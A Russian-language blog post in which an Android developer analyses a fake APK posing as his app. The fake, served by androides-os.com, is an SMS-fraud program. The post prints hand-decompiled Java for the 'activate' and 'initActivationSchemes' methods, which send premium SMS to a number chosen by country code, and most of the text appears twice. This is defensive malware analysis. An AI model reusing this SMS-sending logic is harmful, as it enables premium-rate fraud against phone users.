Я являюсь разработчиком Android-приложения и слежу за появлением новых ссылок на него с помощью подписок Google. Сегодня утром я с радостью обнаружил в ящике письмо, в котором присутствовала новая ссылка на мое приложение. Все отлично! И отзыв положительный, и количество загрузок отличное от 0 вот только версия почему-то старая и… размер APK целых 3 мегабайта против оригинальных ~200К
После загрузки и распаковки APK (вспоминаем что APK это просто ZIP-архив) в нем обнаружилась «набивка» из 153 PNG файлов (переименованных зачем-то в .temp) со свидетелем из Фрязино и собственно «приложение»…
Как и следовало ожидать, от оригинального приложения там ничего не осталось. Ни иконки, ни, тем более, кода. А при дальнейшем рассмотрении (похоже что) ВСЕ файлы на androides-os.com — одна и та же программа! Я скачал несколько разных программ из разных разделов и все они были одного размера и с одинаковым содержимым!
Внутри оказалось нечто, которое по беглому анализу ресурсов оказалось приложением, запрашивающим активацию путем отправки SMS. Попробуем разобраться, куда и что отправляется…
Чистый Java-код нам из APK не получить, но можно получить набор инструкций VM Dalvik, который вполне читается глазами без дополнительного софтового обеспечения. С помощью утилиты dexdump из Android SDK сдампим набор инструкций Dalvik в файл…
Поскольку предполагается, что приложение отправляет SMS, поищем в дампе строку "sendTextMessage" — это функция SDK, предназначенная для отправки текстовых сообщений. Поиск оказывается успешным, находится одно вхождение в методе activate()
Вкратце основные детали метода (получено путем ручной «декомпиляции» dalvik-инструкций):
Т.е. имеется некий набор «схем активации» состоящих из списка пар строк, одна из которых номер на который слать СМС, а другая — что собственно слать.
Попробуем найти схемы активации… в дампе имеется метод initActivationSchemes где можно найти вот такой код:
Т.е. для России (MCC == 250) создается активационная схема из отправки двух СМС на номер 4129… Метод наряду с MCC 250 имеет и другие коды стран, и, соответственно, схемы активации для них. Для каждой страны подобрали определенный платный номер.
Тут есть некоторая непонятка. Несмотря на то, что 250 — Россия, номер 4129 (по крайней мере по информации которую я смог найти) пробивается как Украинский. Возможно я допустил ошибку при «декомпиляции» и случайно «записал» в Российский блок коды для Украины…
Собственно как выглядит приложение…
Install — это оно:
При запуске все очень незамысловато:
Есть даже «оферта»:
Такая же «оферта» судя по всему доступна вот тут: http://depositfmobi.ru/ofert
На сайт вышел по названию package приложения: com.depositmobi.
Что интересно, это depositmobi и «QIP.Файлы» и «Rapidshare» одновременно!
Что в итоге? Очень просто способ мошенничества. Делаем сайт, прокачиваем для него SEO по нужным ключевым словам, накачиваем туда тематических новостей и заполняем его простейшей программой отправки СМС на платные номера снабдив ее «офертой» чтобы прикрыть задницу… Можно ли что-то сделать с такими товарищами законными путями?
После загрузки и распаковки APK (вспоминаем что APK это просто ZIP-архив) в нем обнаружилась «набивка» из 153 PNG файлов (переименованных зачем-то в .temp) со свидетелем из Фрязино и собственно «приложение»…
Как и следовало ожидать, от оригинального приложения там ничего не осталось. Ни иконки, ни, тем более, кода. А при дальнейшем рассмотрении (похоже что) ВСЕ файлы на androides-os.com — одна и та же программа! Я скачал несколько разных программ из разных разделов и все они были одного размера и с одинаковым содержимым!
Внутри оказалось нечто, которое по беглому анализу ресурсов оказалось приложением, запрашивающим активацию путем отправки SMS. Попробуем разобраться, куда и что отправляется…
Чистый Java-код нам из APK не получить, но можно получить набор инструкций VM Dalvik, который вполне читается глазами без дополнительного софтового обеспечения. С помощью утилиты dexdump из Android SDK сдампим набор инструкций Dalvik в файл…
dexdump -d -f -h classes.dex > dump.dump
Поскольку предполагается, что приложение отправляет SMS, поищем в дампе строку "sendTextMessage" — это функция SDK, предназначенная для отправки текстовых сообщений. Поиск оказывается успешным, находится одно вхождение в методе activate()
Вкратце основные детали метода (получено путем ручной «декомпиляции» dalvik-инструкций):
// private HashMap<String, ActivationScheme> activationSchemes;
// private static String CURRENT_ACTIVATION_SCHEME = "1";
ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME);
ArrayList<Pair<String, String>> l = o.list;
// first - номер куда слать
// second - что слать?
for(Pair o2: l) {
StringBuilder b;
String sec = String.valueOf(o2.second); // WTF???
b = new StringBuilder(sec);
b.append("+");
String s3 = schemes.get("2"); // private HashMap<String, String> schemes;
b.append(s3);
String result = b.toString(); // "pair.second"+schemes[2]
String frst = o2.first; // v1
// mgr == TelephonyManager
mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null);
}
Т.е. имеется некий набор «схем активации» состоящих из списка пар строк, одна из которых номер на который слать СМС, а другая — что собственно слать.
Попробуем найти схемы активации… в дампе имеется метод initActivationSchemes где можно найти вот такой код:
ArrayList al = new ArrayList();
if("250".equals(currentMCC)) { // MCC == Mobile Country Code
ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>();
Pair<String, String> p = new Pair<String, String>("4129", "bb031");
aP.add(p);
p = new Pair<String, String>("4129", "bb031");
aP.add(p);
ActivationScheme sc = new ActivationScheme(aP);
activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc);
}
Т.е. для России (MCC == 250) создается активационная схема из отправки двух СМС на номер 4129… Метод наряду с MCC 250 имеет и другие коды стран, и, соответственно, схемы активации для них. Для каждой страны подобрали определенный платный номер.
Тут есть некоторая непонятка. Несмотря на то, что 250 — Россия, номер 4129 (по крайней мере по информации которую я смог найти) пробивается как Украинский. Возможно я допустил ошибку при «декомпиляции» и случайно «записал» в Российский блок коды для Украины…
Собственно как выглядит приложение…
Install — это оно:
При запуске все очень незамысловато:
Есть даже «оферта»:
Такая же «оферта» судя по всему доступна вот тут: http://depositfmobi.ru/ofert
На сайт вышел по названию package приложения: com.depositmobi.
Что интересно, это depositmobi и «QIP.Файлы» и «Rapidshare» одновременно!
Что в итоге? Очень просто способ мошенничества. Делаем сайт, прокачиваем для него SEO по нужным ключевым словам, накачиваем туда тематических новостей и заполняем его простейшей программой отправки СМС на платные номера снабдив ее «офертой» чтобы прикрыть задницу… Можно ли что-то сделать с такими товарищами законными путями?